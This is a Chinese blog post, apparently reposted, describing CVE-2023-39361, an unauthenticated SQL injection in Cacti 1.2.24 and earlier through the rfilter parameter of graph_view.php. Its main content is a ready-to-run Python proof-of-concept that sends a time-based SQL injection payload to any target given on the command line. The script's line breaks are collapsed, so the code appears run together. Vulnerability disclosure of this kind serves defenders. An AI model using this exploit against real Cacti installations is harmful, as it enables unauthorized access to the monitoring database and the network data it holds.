当前位置: 首页 > java >正文

Cacti 未经身份验证SQL注入漏洞

0x00 前言

Cacti是一套基于PHP,MySQL,SNMP及RRDTool开发的网络流量监测图形分析工具。

Cacti是通过 snmpget来获取数据,使用 RRDtool绘画图形,而且你完全可以不需要了解RRDtool复杂的参数。

0x01 漏洞描述

漏洞存在于从graph_view.php文件调用的growt_right_pane_tree函数中。

在tree_content的情况下,通过html_validate_tree_vars函数验证用户输入,随后,如果tree_id参数大于0,则调用growt_right_pane_tree函数。

0x02 CVE编号

CVE-2023-39361

0x03 影响版本

Cacti<=1.2.24

0x04 测试POC

代码语言:javascript

代码运行次数:0

运行

AI代码解释

import argparse
import requests
import sys
import urllib3#import os
#os.environ['http_proxy'] = 'http://localhost:8080'sleep_time = 10
payload = f""""OR ""="(("));SELECT SLEEP({sleep_time});-- -"""def exploit():url = f"{target}/graph_view.php"params = {"action":"tree_content","node":"1-1-tree_anchor","rfilter":payload}print('[+] Sending payload...')print(f"[+] Payload: {payload}")session.get(url,params=params)if __name__=='__main__':urllib3.disable_warnings()parser = argparse.ArgumentParser(description="Cacti 1.2.24 - graph_view.php 'rfilter' SQL Injection (guest access)")parser.add_argument('-t','--target',help='',required=True)args = parser.parse_args()target = args.targetsession = requests.Session()exploit()
http://www.xdnf.cn/news/6763.html

相关文章:

  • ECMAScript标准:JavaScript的核心
  • 基于VITA57.4标准的4路2G/2.6G/3G 14位AD采集子卡
  • QBasic 一款古老的编程语言在现代学习中的价值(附程序)
  • 前端JSON序列化中的隐形杀手:精度丢失全解析与实战解决方案
  • 5.15离散化
  • vue2中父组件监听子组件的生命周期触发函数
  • muduo库Poller模块详解
  • linux使用pyenv安装python环境
  • windows服务器下自启动后台运行python脚本
  • 从微积分到集合论(1630-1910)(历史简介)——第1章——积分技巧(1630-1660)(Kirsti Møller Pedersen)
  • 一款强大的压测带宽工具-iperf3
  • FC7300 WDG MCAL 配置引导
  • 路桥塌陷感知监测预警系统解决方案
  • 服务图层自定义参数customParameters使用(Arcgis API for js)
  • 命令拼接符
  • MySQL锁机制详解与加锁流程全解析
  • sychronized原理(嚼碎了喂版)
  • 代码随想录算法训练营第三十八天打卡
  • 数据预处理-数据清洗(缺失值、重复值、异常值)
  • AUTOSAR图解==>AUTOSAR_SWS_ICUDriver
  • 龙虎榜——20250516
  • WHAT - SSR vs SSG vs ISR
  • STL学习
  • python报错:使用json.dumps()时,报错type xxx is not json serializable错误原因及解决方案
  • 反转链表链表数据结构oj题(206)
  • Spring MVC 中请求处理流程及核心组件解析
  • 2024 睿抗机器人开发者大赛CAIP-编程技能赛-本科组(国赛) 解题报告 | 珂学家
  • React中useMemo和useCallback的作用:
  • 人工智能-状态空间-猴子摘香蕉
  • 从零实现一个高并发内存池 - 4